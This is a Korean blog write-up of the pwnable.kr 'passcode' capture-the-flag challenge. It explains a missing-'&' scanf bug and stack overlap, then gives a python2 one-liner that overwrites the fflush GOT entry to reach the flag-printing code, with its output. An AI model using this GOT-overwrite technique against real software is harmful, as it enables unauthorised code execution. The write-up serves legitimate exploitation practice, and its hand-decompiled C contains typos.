Pwnable.kr [toddler]passcode문제 풀이

pwnable.kr에 passcode문제를 풀어보았다. Passcode 문제의 소스가 있긴하나, gdb로 열어 c언어로 핸드레이 해보았다.

```
int login()
{
    int passcode1, passcode2;
    print("enter passcode1 : ");
    scanf("%d", passcode1);

    fflush(stdin);

    print("enter passcode2 : ");
    scanf("%d", passcode2);
    puts("checking...");

    if(fuck1 == 338150 && fuck2 == 13371337)
    {
        puts("Login OK!");
        system("/bin/cat flag");
    }
    else
        puts("Login Failed!");

    exit(0);

void welcome()
{
    char a[100];

    printf("enter you name : ");
    scanf("%100s", a);
    print("Welcome %s!\n", a);

int main()
{
    puts("Toddler's Secure Login System 1.0 beta.");
    welcome();
    login();
    puts("Now I can safely trust you that you have credential :)");

    return 0;
}
```

전체적인 소스를 보게되면 welcome함수를 열어 이름을 입력하고 login함수로가서 passcode 1과 passcode 2를 입력하여 passcode1은 338150과 비교하고 passcode2는 13371337을 비교하는데 여기서 주의할점은 passcode1과 passcode2를 받는 scanf에 &가 빠져있다는 것이다.

원래 scanf로 변수에 값을 받기위해서는 &를 써주는데 그이유는 변수의 주소를 받아 그 주소에 값을 넣기 때문인데, 여기서 &를 써주지않으면 변수 안에 있는 수가 주소가 되어 그 주소 안에 값을 넣게 된다. 그럼 welcome함수가 실행되고 나서 fflush got 가 가르키고 있는 진짜 fflush주소를 login 함수가 돌게 되면서 scanf로 변조 할수 있게 된다.

일단 보기 쉽게 어셈블리어를 보고 welcome 함수와 login 함수를 스텍 프레임표로 같이 나타내어 보겠다.

0x70부터 시작되는 char 형 변수 a	[redacted]
	0x10에 장 되는 passcode 1
0xC 공간에 저장 되어 있는 canary	0xC공간에 저장되는 passcode
[redacted]	
sfp	sfp
ret	ret
welcome함수	**login함수**

표에 보이는것처럼 welcome에서 선언 되어있는 변수는 a이다 이 a에서 사용할수 있는 공간은 100byte이다.

왜냐하면 0x70에서부터 선언이 되어있지만. 0xc공간까지 사용을 하고 있기 때문이다.

그럼 100byte 공간 중 96byte의 공간은 아무거나 써넣어주고 나머지 4byte공간에 fflush got의 주소로 넣어주고 login함수가 실행이 되었을때는 fflush got에 프로그램상에서 /bin/cat flag를 하고있는 주소를 넣어주면 flag가 열리게 되는 소스이다.

직접한번 해보도록 하겠다. (Login OK!가 뜨면 뭔가 성공을 한 기분이 들어서 Login OK가 있는 주소로 뛰어 주겠다.

아! 그리고 여기서 주의할점이 있다. 처음에 welcome함수에서는 char형으로 변수 선언을 했기 때문에 문자열인 리틀엔디안으로 login함수에서는 int형으로 변수 선언을 했기 때문에 정수로 써 넣어줘야한다.

```
passcode@ubuntu:~$ python2 -c 'print "a" * 96 + "\x04\xa0\x04\x08" + "134514135"' | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaa#�!
enter passcode1 : Login OK!
```

임의적으로 넣는 값은 a로 96개를 넣어줬다. passcode에 있는 flag를 열어보았다 :) 끄읏 ~